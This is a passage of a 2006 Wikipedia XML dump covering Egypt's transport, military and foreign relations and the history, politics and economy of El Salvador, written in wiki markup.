[[Suez Canal]], 193.5 km (including approaches), used by oceangoing vessels drawing up to 16.1 m of water.&lt;BR&gt;

==Pipelines==
crude oil 1,171 km; petroleum products 596 km; natural gas 460 km

==Ports and harbors==
&lt;sup&gt;http://www.emdb.gov.eg/english_v/ports_e/index_ports_e.htm&lt;/sup&gt;
=== Mediterranean Sea ===

* [[Alexandria Port]] - Port Authority
* [[Port Said Port]] - Port Authority
* [[Damietta Port]] - Port Authority
* [[Marsa Matruh]]

=== Red Sea ===

*[[Red Seas Ports]] - Ports Authority
*[[Suez Port]]
*[[Petroleum Dock Port]]
*[[Adabieh Port]]
*[[Sokhna Port]]
*[[Hurghada Port]] - Al Ghardaqah
*[[Safaga Port]] - Bur Safajah
*[[Noueibah Port]]
*[[Al-Tour Port]]
*[[Sharm El-Sheikh Port]]

=== Nile River ===

* [[Aswan]]
* [[Asyut]]


==Merchant marine==

''total:'' 180 ships (1,000 GRT or over) totaling 1,348,148 GRT/2,014,483 DWT

===Ships by type===
*bulk: 25
*cargo: 63
*container: 1
*liquified gas: 1
*passenger: 57
*petroleum tanker: 14
*roll-on/roll-off: 16
*short-sea passenger: 3 (1999 est.)

==Airports==
90 (1999 est.)

===Airports with paved runways===

''total:'' 71

''over 3,047 m:'' 12

''2,438 to 3,047 m:'' 36

''1,524 to 2,437 m:'' 16

''914 to 1,523 m:'' 3

''under 914 m:'' 4 (1999 est.)

===Airports with unpaved runways===

''total:'' 19

''2,438 to 3,047 m:'' 2

''1,524 to 2,437 m:'' 2

''914 to 1,523 m:'' 6

''under 914 m:'' 9 (1999 est.)

==Heliports==
2 (1999 est.)

==External links==

*[http://www.lib.utexas.edu/maps/africa/egypt_pol97.jpg Map]


==See also==

* [[Egypt]]


{{CIAfb}}

{{Africa in topic|Transport in}}


[[Category:Transportation in Egypt| ]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Egypt</title>
    <id>9354</id>
    <revision>
      <id>41000465</id>
      <timestamp>2006-02-24T11:21:38Z</timestamp>
      <contributor>
        <username>Leithp</username>
        <id>225576</id>
      </contributor>
      <minor />
      <comment>links</comment>
      <text xml:space="preserve">&lt;table border=1 width=300 cellpadding=2 cellspacing=0 align=right style=&quot;float:right;:1em&quot;&gt;
&lt;tr&gt;&lt;td colspan=2  align=center&gt;[[Image:Flag_of_the_Arab_Republic_of_Egypt_1984.png|110px]]
&lt;tr&gt;&lt;th colspan=2 align=center bgcolor=red&gt;'''Military of Egypt'''
&lt;tr&gt;&lt;td colspan=2  align=center&gt;'''Military manpower'''
&lt;tr&gt;&lt;td&gt;Military age&lt;td&gt; 18 years of age for conscript military service; 3-year service obligation ([[2001]])
&lt;tr&gt;&lt;td&gt;Availability&lt;td&gt;males age 18-49: 18,347,560 ([[2005]])
&lt;tr&gt;&lt;td&gt;Fit for military service&lt;td&gt;males age 18-49: 15,540,234([[2005]])
&lt;tr&gt;&lt;td&gt;Reaching military age annually&lt;td&gt; males: 802,920 ([[2005]])
&lt;tr&gt;&lt;td&gt;Active troops&lt;td&gt; 450,000 ([[List of countries by number of active troops|Ranked 12th]])
&lt;tr&gt;&lt;td colspan=2 align=center&gt;'''Military expenditures'''
&lt;tr&gt;&lt;td&gt;Dollar figure&lt;td&gt;  $2.44 billion ([[2003]])
&lt;tr&gt;&lt;td&gt;Percent of GDP&lt;td&gt;  3.4% ([[2004]])
&lt;/table&gt;
The '''armed forces of [[Egypt]]''' is among the largest in the region, it consists of the [[Egyptian Army]], [[Egyptian Navy]], [[Egyptian Air Force]] and [[Egyptian Air Defense Command]].&lt;BR&gt;
Egypt maintains a large paramilitary force under the control of the Ministry of Interior. They number around 250,000 strong and are known as the [[Central Security Forces]]. The government also has a relatively strong National Guard and Border Security Forces however they unlike the [[Central Security Forces]] come under the control of the Ministry of Defence and are reported to be number 60,000 and 20,000 respectively.&lt;BR&gt;
&lt;BR&gt;
The Commander-in-Chief is [[Field Marshal]] [[Mohamed Hussein Tantawi]].
The Chief of Staff is Lt. Gen. [[Sami Hafez Enan]].

The armed forces inventory includes equipment from the [[United States]], [[France]], [[Italy]], the [[United Kingdom]], the former [[Soviet Union]], and the [[People's Republic of China]]. Equipment from the former Soviet Union is being progressively replaced by more modern American, French, and British equipment, a significant portion of which is built under license in Egypt. To bolster stability and moderation in the region, Egypt has provided military assistance and training to a number of [[Africa]]n and [[Arab]] states. Egypt remains a strong military and strategic partner of [[NATO]]. Egypt is the strongest military power in Africa, and the second largest in the [[Middle East]], after [[Israel]]. (Source Jaffee Center for Strategic Studies' annual Middle East Strategic Balance). 

The Egyptian military can only be understood by relative comparison to a nation it has fought nearly all of its wars with, Israel. The comparative military capabilities of two nations where one is developing and the other is developed is not as simple as glancing towards the military budget expressed in U.S. dollars. If for e.g. two nations have the same defence budget and spend it totally on foreign arms purchases they will both purchase exactly the same quantity. The complicating factor is that for a developing country the cost to purchase labour is usually much lower than it is in a developed country. Therefore if Egypt and Israel spent the same amount on defence which is used totally on recruiting soldiers, Egypt would field a bigger army than Israel. In essence money spent for foreign purchases are equal, but money spent on local arms and recruitment favour the country of lower cost of purchases. Therefore Egypt finds it comparatively cheaper to field a larger army than purchasing foreign equipment. A major reason Egypt does not have a superior military force than Israel is that they spend only $2.5 billion U.S.D. as opposed to $10 billion spent by Israel. The lower recruitment cost advantage of the Egyptians is simply insufficient to overcome the much greater expenditure by Israel.

== Air Force ==
''Main article: [[Egyptian Air Force]]''&lt;BR&gt;&lt;BR&gt;
The '''Egyptian Air Force''' or '''EAF''' ([[Arabic]]: القوات الجوية المصرية''Al Quwwat Al Jawwiya Il Misriya'') is the aviation branch of the [[Military of Egypt|Egyptian Armed Forces]]. Currently, the backbone of the EAF is the [[F-16]]. The [[Mirage 2000]] is the other modern interceptor used by the EAF. It has over 579 Combat Aircraft and 121 Armed Helicopters as it continues to fly [[MiG-21]]s, [[F-7 Skybolt]]s, [[F-4 Phantom]], [[Il-28]], [[Dassault Mirage V]]s, and [[C-130 Hercules]] among other planes.

== Air Defense Command ==
''Main article: [[Egyptian Air Defense Command]]''&lt;BR&gt;&lt;BR&gt;
The '''Air Defense Force '''or '''ADF''' is the command responsible for the protection of the Egyptian air spaces. The ADF had an estimated 80,000 ground and air personnel, including 50,000 conscripts. Responsibility had previously been divided among several commands. Egypt patterned its new Air Defense Force (ADF) after the Soviet Air Defense Command, which integrated all its air defense capabilities--antiaircraft guns, rocket and missile units, interceptor planes, and radar and warning installations.

== Army ==
''Main article: [[Egyptian Army]]''&lt;BR&gt;&lt;BR&gt;
The '''Egyptian Army''' is the largest service within the military establishment of Egypt. It is estimated to number around 320,000. However, since Egypt has been under going a modernisation plan it may see a cut of up to 25 percent of its personnel. Many believe such a large cut will not take place due to the need to reduce unemployment, and it would reduce the need for officers which are already in excess.

== Navy ==
''Main article: [[Egyptian Navy]]''&lt;BR&gt;&lt;BR&gt;
Although the '''Egyptian Navy''' is the smallest branch of the military, it is large by Middle Eastern standards. It has a total of 20,000 personels.&lt;BR&gt;
Some fleet units were stationed in the Red Sea, but the bulk of the force remained in the Mediterranean. Navy headquarters and the main operational and training base were located at Ras at Tin near Alexandria.

''See [[list of naval ships of Egypt]] for a list of vessels in service.''

== Paramilitary Forces ==
The '''Paramilitary force''' numbered around 330,000 and they consist of the '''Central Security Forces''', the '''National Guard''', the '''Border Guard Forces''' and the '''Coast Guard'''.

=== Central Security Forces ===
Under the control of Egypt's ministry of Interior, it is the law enforcement authority in the country. The '''Central Security Forces''' (CSF), has a total of around 250,000 personels. 

=== National Guard ===
Under the control of Egypt's ministry of Defense and numbered 60,000.

=== Border Guard Forces ===
Under the control of Egypt's ministry of Defense and numbered 20,000.

=== Coast Guard ===
The Coast Guard was responsible for the onshore protection of public installations near the coast and the patrol of coastal waters to prevent smuggling. With a force of 2,000, it has an inventory consisting of about thirty large patrol craft (each between twenty and thirty meters in length) and twenty smaller Bertram-class coastal patrol craft built in the United States.

== Military Schools ==
There is a undergraduate military school for each branch of the Egyptian Military establishment, and they include:

* [[Air Defenses Academy]]
* [[Egyptian Air Academy]]
* [[Egyptian Military Academy|Military Academy]]
* [[Military Technical College]]
* [[Egyptian Naval Academy|Naval Academy]]

* [[Nasser Academy]]
* [[Technical Institute]]


== See also ==
*[[Flags of the Egyptian Armed Forces]]
*[[Egyptian Military Industry]]

==References==
*[http://www.mmc.gov.eg/ Egyptian Armed Forces]
*[http://www.cia.gov/cia/publications/factbook/geos/eg.html CIA World Factbook]
*[http://www.fas.org/main/content.jsp?formAction=297&amp;contentId=196 FAS]
*[http://www.globalsecurity.org/military/world/egypt/ GlobalSecurity]

[[Category:Militaries|Egypt]]
[[Category:Military of Egypt|Military of Egypt]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Egypt</title>
    <id>9355</id>
    <revision>
      <id>41731194</id>
      <timestamp>2006-03-01T10:01:33Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>Ced. Wikify dates</comment>
      <text xml:space="preserve">{{cleanup-date|May 2005}}

'''Egypt's foreign policy''' operates along a non-aligned level. Factors such as population size, historical events, military strength, diplomatic expertise and a strategic geographical position give [[Egypt]] extensive political influence in the [[Middle East]] and Northern [[Africa]], and within the Nonaligned Movement as a whole. [[Cairo]] has been a crossroads of [[Arab]] commerce and culture for millennia, and its intellectual and [[Islam|Islamic]] institutions are at the center of the region's social and cultural development.

==EU relations==

EU relations with Egypt are based on a partnership relation within the Euro – Mediterranean and Middle East area, which is of vital strategic importance and a key external relations priority for the EU.&lt;br&gt;
The [[Euro-Mediterranean Partnership]] launched at the [[1995 Barcelona Conference]] between the European Union and its originally 12 [[Mediterranean]] Partners: [[Algeria]], [[Cyprus]], [[Egypt]], [[Israel]], [[Jordan]], [[Lebanon]], [[Malta]], [[Morocco]], [[Syria]], [[Tunisia]], [[Turkey]], and the [[Palestinian Authority]]. [[Libya]] currently has observer status at certain meetings. Since the enlargement, in May 2004, the co-operation covers 35 countries, the EU of 25, including [[Cyprus]] and [[Malta]] and the 10 Mediterranean Partners.&lt;BR&gt;
&lt;BR&gt;
Egypt has also taken an active role regarding Euro-Mediterranean Partnership, such as its participation in the technical meeting of which it was the speaker for the Arab group. Additionally, the first meeting of the Euro-Mediterranean Parliamentary assembly was co-chaired by an Egyptian.&lt;BR&gt;
[[Egypt]] has been one of the leading recipients among the Mediterranean partners in terms of total funds received from the [[MEDA]] programme, the principal financial instrument of the European Union for the implementation of the Euro-Mediterranean Partnership. It is focused on policy-led, national structural reform and liberalisation programmes with a sector-wide approach.&lt;BR&gt;
&lt;BR&gt;
The EU is Egypt’s biggest trading partner currently accounting for 42% of Egyptian exports and 37% of imports, with the balance of trade still in the EU's favour. Trade between the EU and Egypt has risen by more than 5% in the last five years to reach around 11.6 billion euro in 2004. Egypt’s main exports to the EU in 2004 were energy (39%), textiles and clothing (15%), agricultural products (9%), and chemicals (5%). Major imports from the EU were power generating machinery (21%), chemicals (16%), transport equipment (16%), and food and agricultural products (10%). Egypt has a serious but improving trade deficit that has put considerable pressure on the [[Egyptian Pound]].&lt;BR&gt;
&lt;BR&gt;
Trade relations with the EU are good although there are several outstanding trade and phyto-sanitary issues. These range from specific market access issues and difficulties for businesses facing a highly regulated and complex system through to restrictions in the export of agricultural goods (potatoes) and fishery products because they do not conform with EU quality norms. &lt;BR&gt;

==Middle Eastern relations==

===Arab relations===

The [[Arab League]] headquarters is in [[Cairo]], and the Secretary General of the League is traditionally an Egyptian. Former [[Egyptian Foreign Minister]] [[Amr Moussa]] is the present Secretary General of the Arab League. [[Egyptian Deputy Prime Minister]] [[Boutros Boutros-Ghali]] served as Secretary General of the United Nations from [[1991]] to [[1996]].&lt;BR&gt;
Egypt is on good terms with [[Libya]] and [[Sudan]], its African neighbours, although it has a land dispute with Sudan over the [[Hala'ib Triangle]], a small area of land on the Egypt-Sudan border on the [[Red Sea]] coast. Sudan claims the area, although the Egyptian military currently occupies it.

===Relations with Israel===

Being a pioneer of Peace making in the region and driven from its belief that a peaceful middle east is the best solution for the development of Egypt, then [[President of Egypt|third Egyptian president]] [[Anwar Sadat]]'s groundbreaking trip to [[Israel]] in [[1977]], the [[1978]] [[Camp David Accords]], and the [[1979]] [[Egypt-Israel Peace Treaty]] represented a fundamental shift in the politics of the region; from a strategy of confrontation to one of peace as a strategic choice. Egypt was subsequently ostracized by other Arab states and ejected from the Arab League from [[1979]] to [[1989]]. &lt;BR&gt;
However, due to circumstances of today's [[Israeli-Palestinian conflict]], full normalization of relations between these two countries is still halted and sometimes fought against in both countries. The Egyptian ambassador to Tel Aviv is often withdrown, and the peace has been called a cool peace due to the [[Israeli-Palestinian conflict]].

===Israeli-Palestinian conflict===

Egypt is a key partner in the search for peace in the Middle East and resolution of the [[Israeli-Palestinian conflict]]. &lt;BR&gt;
Egypt played an important role in the negotiations leading to the [[Madrid Peace Conference]] in [[1991]], which, under [[United States]] and [[Russia|Russian]] sponsorship, brought together all parties in the region to discuss Middle East peace. &lt;BR&gt;
This support has continued to the present, with President [[Hosni Mubarak]] often intervening personally to promote peace negotiations. In [[1996]], he hosted the Sharm El-Sheikh &quot;Summit of the Peacemakers&quot; attended by President [[Bill Clinton]] and other world leaders. &lt;BR&gt;
In [[2000]], he hosted two summits at [[Sharm El-Sheikh]] and one at [[Taba]] in an effort to resume the Camp David negotiations suspended in July of 2000, and in June 2003, Mubarak hosted President [[George W. Bush]] for another summit on Middle East peace process. Another summit was convened in Sharm El Sheik in early 2005, which was attended by Egypt, [[Israel]], the [[Palestinian Authority]] and [[Jordan]]. The [[Egyptian Chief of Intelligence]], General [[Omar Suleiman]], has played a substantial role in negotiations between the Israeli and Palestinian sides and is highly respected on both sides.

==US relations==

After the [[1973 Arab-Israeli War]], Egyptian foreign policy began to shift as a result of the change in Egypt's leadership from President [[Gamal Abdel-Nasser]] to [[Anwar Sadat]] and the emerging peace process between [[Egypt]] and [[Israel]]. [[Sadat]] realized that reaching a settlement of the [[Arab-Israeli conflict]] is a precondition for [[Egyptian]] development. To achieve this goal, Sadat ventured to enhance US-Egyptian relations to foster a peace process with Israel. &lt;BR&gt;
&lt;BR&gt;
===Military cooperation===
''Main Article: [[American-Egyptian Military Relations]]''&lt;BR&gt;
&lt;BR&gt;
Between [[1979]] and [[2003]], the US has provided Egypt with about $30 billion in military aid making Egypt the second largest recipient of US military aid after Israel. Also, Egypt received about $30 billion in economic aid within the same time frame.&lt;BR&gt;
Military cooperation between the US and Egypt is probably the strongest aspect of their strategic partnership. General [[Anthony Zinni]] the former Commandant of the [[US Central Command]] (CENTCOM) once said, ''Egypt is the most important country in my area of responsibility because of the access it gives me to the region. Egypt was also described during the [[Clinton]] Administration as the most prominent player in the Arab world and a key US ally in the Middle East. US military assistance to Egypt was considered part of the administration's strategy to maintaining continued availability of Persian Gulf energy resources and to secure the Suez Canal, which serves both as an important international oil route and as critical route for US warships transiting to the Gulf.''&lt;BR&gt;
The Egyptian military provides indirect support for the foreign policy of Egypt in the region. Egypt is the strongest military power on the African continent, and the second largest in the Middle East, after Israel - (Source: Jaffee Center for Strategic Studies' annual Middle East Strategic Balance). 
The real test of American-Egyptian friendship is whether the US administration is capable of adopting an even-handed policy towards the two key states in the Middle East.&lt;BR&gt;

===War on terrorism===

Despite differences and periods of friction in relations between the two countries, the US-Egyptian relations under Mubarak have evolved moving beyond the Middle East peace process towards an independent bilateral friendship. It was in the US interest that Egypt was able to present moderate voice in Arab councils and persuade other Arab states to join the peace process and to normalize their relations with the US. &lt;BR&gt;
However lately Egyptian-American relations have become a little tense. This is due to a great extent to the Egyptian unwillingness to send troops to Afghanistan and Iraq in peace stabilization missions. Egypt strongly backed the US in its war against international terrorism after [[11 September]] attacks, but refused to send troops to Afghanistan neither during the war nor after it. Egypt also opposed US military intervention of March 2003 in Iraq, continued to oppose US occupation of the country after the war and further refused to comply with US requests to send troops to the country even under a UN umbrella.&lt;BR&gt;
The issue of participation in the post-war construction efforts in Iraq has been controversial in Egypt and in the Arab world as a whole. Opponents see that the war was illegal and it is necessary to wait until Iraq has legal representative government to deal with it. On the other hand supporters of participation argued that the responsibility to protect Iraqis and to help them in time of crisis should prevail and guide the Egyptian action in [[Iraq]].

==International involvement==
Egypt played a key role during the 1990-91 Gulf crisis. President Mubarak helped assemble the international coalition and deployed 35,000 Egyptian troops against Iraq to liberate [[Kuwait]]. The Egyptian contingent was the third largest in the coalition forces, after the U.S. and [[United Kingdom|U.K.]] &lt;BR&gt;
In the aftermath of the Gulf war, Egypt signed the Damascus declaration with [[Syria]] and the Gulf states to strengthen Gulf security. Egypt continues to contribute regularly to [[United Nations]] [[peacekeeping]] missions, most recently in [[East Timor]], [[Sierra Leone]], and [[Liberia]].&lt;BR&gt; Following the [[September 11]] [[2001]] [[September 11, 2001 attacks|terrorist attacks]] on the United States, Egypt, which has itself been the target of terrorist attacks, has been a key supporter of the U.S. war against terrorists and terrorist organizations such as [[Osama bin Ladin]] and [[al-Qaeda]], and has supported the Iraqi Governing Council.

==See also==
[[List of Foreign ministers of Egypt]]

==External links==
*[http://rds.yahoo.com/_ylt=Al2Rk2NRHyAQa8_KLFbNOJ5XNyoA;_ylu=X3oDMTE2MWFla2V2BGNvbG8DZQRsA1dTMQRwb3MDMgRzZWMDc3IEdnRpZANERlg1XzMw/SIG=12c9c732e/EXP=1135384084/**http%3a//europa.eu.int/comm/external_relations/egypt/intro/ EU-Egyptian Relations]
*[http://rds.yahoo.com/_ylt=AmF3WMYBWc7Cpc9ElrQGr11XNyoA;_ylu=X3oDMTE2anNnbmViBGNvbG8DZQRsA1dTMQRwb3MDNgRzZWMDc3IEdnRpZANERlg1XzMw/SIG=12er3jl9e/EXP=1135385348/**http%3a//www.ahram.org.eg/acpss/eng/ahram/2004/7/5/STUD8.HTM/  Assessing the United States-Egyptian Military and Security Relations]
*[http://rds.yahoo.com/_ylt=AhnXpstyX_05uh3.zk8oztNXNyoA;_ylu=X3oDMTE3dHZsZGltBGNvbG8DdwRsA1dTMQRwb3MDMTYEc2VjA3NyBHZ0aWQDREZYNV8zMA--/SIG=12tr1k1a8/EXP=1135385972/**http%3a//commdocs.house.gov/committees/intlrel/hfa94279.000/hfa94279_0f.htm/ The Future of American-Egyptian relations]


[[Category:Foreign relations of Egypt| ]]
[[Category:Foreign relations by country|Egypt]]</text>
    </revision>
  </page>
  <page>
    <title>El Salvador</title>
    <id>9356</id>
    <revision>
      <id>42056360</id>
      <timestamp>2006-03-03T14:28:35Z</timestamp>
      <contributor>
        <username>Sergio.solar</username>
        <id>715321</id>
      </contributor>
      <text xml:space="preserve">:''For the city in [[Chile]], see'' [[El Salvador, Chile]].

{{Template:El Salvador infobox}}
The '''Republic of El Salvador''' ([[Spanish language|Spanish]]: ''República de El Salvador'', [[International Phonetic Alphabet|IPA]]: {{IPA|[re'puβlika ðe el salβa'ðor]}}) is a country in [[Central America]] with a population of approximately 6.9 million people.  It is bordered on the west by [[Guatemala]] and to the north and east by [[Honduras]].  The [[Pacific Ocean]] is to the south.  El Salvador is the most densely populated nation on the [[Americas|American]] mainland (especially in its capital, [[San Salvador, El Salvador|San Salvador]]) and also the most [[industrialisation|industrialized]] country in the region. The country was named after the Spanish word for &quot;The Savior&quot; and its territory was known [[Prehispanic|prehispanically]] as Cuscatlán.

==History==
''Main article: [[History of El Salvador]]''

The civilization of Cuscatlán, in which territory was founded El Salvador in the 16th century, dates from the pre-Columbian time, around 1500 years B.C.E, according to evidence provided by the ancient ruins of Tazumal and Chalchuapa. The Spanish Admiral Andrés Niño lead an expedition to Central America and disembarked on the Island Meanguera, located in the Gulf of Fonseca, on May 31st, 1522. This was the first Salvadoran territory visited by the Spaniards.

In June, 1524, Spanish Captain Pedro de Alvarado attacked Cuscatlán (land of beautiful jewels) that was populated by the native tribes of the land. After 17 days of bloody battles many natives and Spaniards died. Pedro de Alvarado defeated, and hurt in his left hip, abandoned the fight and ran to Guatemala,  telling his brother, Gonzalo de Alvarado, to continue with the conquest of Cuscatlán. Later, his cousin Diego de Alvarado established the villa of San Salvador on April, 1525. King Carlos I of Spain granted San Salvador the title of city in the year 1546. During the following years, El Salvador developed under Spanish dominion. Towards the end of 1810, a feeling of a need for freedom arose between the people of Central America and the moment to break the chains of colonial government arrived at dawn on November 5th, 1811, when the Salvadoran priest,  Jose Matías Delgado, sounded the bells of the Iglesia La Merced in San Salvador, making a call for the insurrection. After many internal fights, the Acta de Independencia (Act of Independence) of Central America was signed in Guatemala on September 15th, 1821. 

On [[September 15]], [[1821]], El Salvador and the other [[Central American]] provinces declared their independence from [[Spain]]. In [[1823]], the [[United Provinces of Central America]] was formed by the five [[Central America|Central American]] states under General [[Manuel José Arce]]. When this federation was dissolved in [[1838]], El Salvador became an independent republic. El Salvador's early history as an independent state was marked by frequent revolutions.

From [[1872]] to [[1898]] El Salvador was a prime mover in attempts to reestablish an isthmian [[federation]]. The governments of El Salvador, [[Honduras]], and [[Nicaragua]] formed the [[Greater Republic of Central America]] via the [[Pact of Amapala]] in [[1895]]. Although [[Guatemala]] and [[Costa Rica]] considered joining the Greater Republic (which was rechristened the [[United States of Central America]] when its constitution went into effect in 1898), neither country joined. This union, which had planned to establish its capital city at Amapala on the Golfo de Fonseca, did not survive a seizure of power in El Salvador in 1898. 

The enormous profits that [[coffee]] yielded as a monoculture export served as an impetus for the process whereby land became concentrated in the hands of an [[oligarchy]] of several hundred families. A succession of [[president]]s from the ranks of the Salvadoran oligarchy, nominally both [[conservative]] and [[Liberalism|liberal]], throughout the last half of the [[19th century]] generally agreed on the promotion of coffee as the predominant [[cash crop]], on the development of [[infrastructure]] ([[railroad]]s and [[sea port|port facilities]]) primarily in support of the coffee trade, on the elimination of communal landholdings to facilitate further coffee production, on the passage of anti-[[vagrancy]] laws to ensure that displaced [[campesino]]s and other rural residents provided sufficient [[labour (economics)|labor]] for the coffee fincas ([[plantation]]s), and on the suppression of rural discontent.

The coffee industry grew inexorably in El Salvador. As a result the elite provided the bulk of the government's financial support through [[import]] [[duty|duties]] on goods imported with the foreign [[currency|currencies]] that coffee sales earned. This support, coupled with the humbler and more mundane mechanisms of [[political corruption|corruption]], ensured the coffee growers of overwhelming influence within the [[government]] and the [[military]] which they used to create the Guardia Nacional (GN) in [[1912]]. The duties of the GN differed from those of the Policia Nacional (PN), mainly in that GN personnel were specifically responsible for providing security on the coffee fincas and effectively [[Suppression of dissent|suppressing rural dissent]].

A bloodless [[coup d'etat|coup]] led by General Tomás Regalado took El Salvador into the [[20th century]]. Regalado's peaceful transfer of power in [[1903]] to his handpicked successor, Pedro José Escalón, ushered in a period of comparative stability that extended until the [[Great Depression|Depression]]-provoked upheaval of [[1931]]&amp;ndash;[[1932|32]].

In [[1930]], General [[Maximiliano Hernández Martínez]], the country's [[Defence minister|Minister of Defense]], took power in a [[coup d'état]]. Soon after, Martínez, now [[List of Presidents of El Salvador|President]], suppressed a 1932 revolt consisting of farmers and Indians in the western part of the country. The revolt was conducted by the newly formed [[Communist Party of El Salvador|Communist Party]] and its leader [[Farabundo Martí|Agustín Farabundo Martí]]. The military conflict left more than 20,000 people dead in retaliatory massacres, which came to be known as &quot;La Matanza;&quot; this marked the beginning of a series of ''de facto'' [[military dictatorship]]s that would rule El Salvador until [[1979]], when General [[Carlos Humberto Romero|Humberto Romero]] of the [[Party of National Conciliation]] (PCN) would be overthrown in a reformist coup. 

Under the authoritarian rule of Maj. [[Óscar Osorio]] ([[1950]]&amp;ndash;[[1956|56]]) and Lt. Col. José María Lemus (1956&amp;ndash;[[1960|60]]) considerable economic progress was made. Lemus was overthrown by a coup, and after a confused period, a junta composed of leaders of the National Conciliation party came to power in June [[1961]]. The junta's candidate, Lt. Col. Julio Adalberto Rivera, was elected president in [[1962]]. He was succeeded in [[1967]] by Col. [[Fidel Sánchez Hernández]]. Relations with Honduras deteriorated in the late 1960s. There was a border clash in 1967, and a four-day so-called [[Football war]] broke out in July [[1969]]. The Salvadoran forces that had invaded Honduras were withdrawn, but not until [[1992]] was an agreement settling the border controversy with Honduras signed.

Following increasing clashes between the Marxist group Farabundo Martí National Liberation Front ([[Farabundo Martí National Liberation Front|FMLN]]), El Salvadoran Armed Forces (ESAF) and [[right-wing politics|rightist]] vigilantes known as [[death squads]], a civil war broke out that would last for twelve years (1980-1992) and claim the lives of approximately 75,000 people.  According to the 1993 United Nations' Truth Commission report, over 96% of the human rights violations carried out during the war were committed by the Salvadoran military or the  paramilitary death squads, while 3.5% were committed by the FMLN. Nevertheless, it's necessary to say that this report has been criticized as not being objective enough for an institution like the UN, and that much of the information gathered by the Commission was originated in politically biassed sources, and did not provide legal and material evidence or proof of its conclusions. During the war, a small group of military advisers from the [[United States]] helped to train government forces, which were heavily funded by the U.S. as well. In the meantime, the guerrillas of the FMLN were trained and funded by the communist government of Cuba and the Sandinistas in Nicaragua, as well as supported by several eastern european countries and the USSR itself, creating one of the last scenarios of the Cold War. After the fall of Communism in Europe, the conditions for peace negotiations were finally set. A ceasefire was established in 1992 when the rebels of the FMLN and the government of President [[Alfredo Cristiani]] of the [[Nationalist Republican Alliance]] (ARENA), signed &quot;Peace accords&quot; on [[January 16]], 1992 that assured political and military reforms and punishment for all human rights abuses during the civil war; death squad activity was virtually eliminated.

El Salvador is known for the many [[earthquakes]] that occur within its borders. It has been popularly known as the “Valley of the Hammocks” since colonial times. On [[January 13]], [[2001]] an earthquake that measured 7.6 on the [[Richter scale]] caused a [[landslide]] that killed more than 800 people. On [[February 13]], 2001, a second earthquake killed 255 people.

==Geography==

''Main article: [[Geography of El Salvador]]''

See also [[List of cities in El Salvador]]

==Politics==
''Main article: [[Politics of El Salvador]], [[Legislative Assembly of El Salvador]], [[List of political parties in El Salvador]]''

El Salvador is a democratic republic governed by a [[president]] and an 84-member unicameral [[Legislative Assembly]]. The president is elected by [[universal suffrage]] and serves for a five-year term by absolute majority vote. A second round runoff is required in the event that no candidate receives more than 50% of the first round vote. Members of the assembly (called deputies, ''diputados''), also elected by universal suffrage, although according to closed-list proportional representation, serve for three-year terms. The country has an independent judiciary and Supreme Court.

The current [[President of El Salvador]] is [[Antonio Saca|Elías Antonio Saca González]], elected on [[21 March]] [[2004]]. He took office on [[1 June]] [[2004]], and his presidential term ends on [[1 June]] [[2009]].[[Image:El Salvador.geohive.gif|thumb|410px|right|[[Subnational|Administrative division]].]]

The current legal system of El Salvador, based on civil and Roman law with traces of common law, came into force with the passage of the [[constitution]] on [[23 December]], [[1983]].

* [[La Unión Department|La Union]]
* [[Zacatecoluca]]

== Political divisions ==
{{main|Departments of El Salvador}}
Many early post-colonial rulers, such as [[Francisco Morazán]] and [[Gerardo Barrios]], were of [[French people|French]] descent and were hence sympathetic to the [[Napoleonic code]], which was successfully adapted to El Salvador.
For this reason, the country has French-style territorial divisions.
El Salvador is divided into [[Departments of El Salvador|fourteen departments]]:
&lt;table align=center&gt;
&lt;tr&gt;&lt;td align=center colspan=2&gt;
&lt;tr&gt;&lt;td&gt;
#[[Ahuachapán Department|Ahuachapán]]
#[[Cabañas Department|Cabañas]]
#[[Chalatenango Department|Chalatenango]]
#[[Cuscatlán Department|Cuscatlán]]
#[[La Libertad Department|La Libertad]]
#[[La Paz Department (El Salvador)|La Paz]]
#[[La Unión Department|La Unión]]
&lt;td&gt;
&lt;ol start=8&gt;
&lt;li&gt;[[Morazán Department|Morazán]]
&lt;li&gt;[[San Miguel Department (El Salvador)|San Miguel]]
&lt;li&gt;[[San Salvador Department|San Salvador]]
&lt;li&gt;[[San Vicente Department|San Vicente]]
&lt;li&gt;[[Santa Ana Department|Santa Ana]]
&lt;li&gt;[[Sonsonate Department|Sonsonate]]
&lt;li&gt;[[Usulután Department|Usulután]]
&lt;/ol&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
== Economy ==
''Main article: [[Economy of El Salvador]]''

By [[2005]], El Salvador became the strongest [[economic system|economy]] in Central America. The Salvadoran economy has experienced mixed results from the [[Nationalist Republican Alliance|ARENA]] government's commitment to [[free market]] initiatives and conservative fiscal management that include the [[privatization]] of the [[banking]] system, [[telecommunications]], public pensions, electrical distribution, and some [[electrical generation]], reduction of [[import]] [[duty|duties]], elimination of [[price control]]s, and an improved enforcement of [[intellectual property rights]]. The [[GDP]] variable has been growing at a steady and moderate pace since the signing of peace accords in 1992, in an environment of [[macroeconomic]] stability. A problem that the Salvadoran economy faces is the inequality in the distribution of income. In [[1999]], the richest fifth of the [[population]] received 45% of the country's income, while the poorest fifth received only 5.6%.

As of December 1999, net international reserves equaled US$1.8 billion or roughly five months of imports. Having this hard currency buffer to work with, the Salvadoran Government undertook a monetary integration plan beginning [[January 1]], [[2001]], by which the [[U.S. dollar]] became legal tender alongside the [[El Salvadoran colón|colón]], and all formal accounting was undertaken in U.S. dollars. This way, the government has formally limited its possibility of implementing open market monetary policies to influence short term variables in the economy.  Since 2004, the colón stopped circulating and is now never used in the country for any type of transaction; however some stores still have prices in both colones and U.S. dollars.  In general, people were unhappy with the shift from the colón to the U.S. dollar, because wages are still the same but the price of everything increased.  Things that once cost 5 colones now cost $1, which would be 8.75 colones. Some economists claim this rise in prices would have been caused by inflation regardless even had the shift not been made. Some economists also contend that now, according to [[Gresham's Law]], a reversion to the colón would be disastrous to the economy. 

Some banks however claim that they still do some transactions &lt;i&gt;en colones&lt;/i&gt;, keeping this change from being unconstitutional.

The change to the dollar also precipitated a trend toward lower interest rates in El Salvador, helping many to secure credit in order to buy a house or a car; over time, the sense of displeasure with the change has largely disappeared, though the issue resurfaces as a political tool when elections are on the horizon.

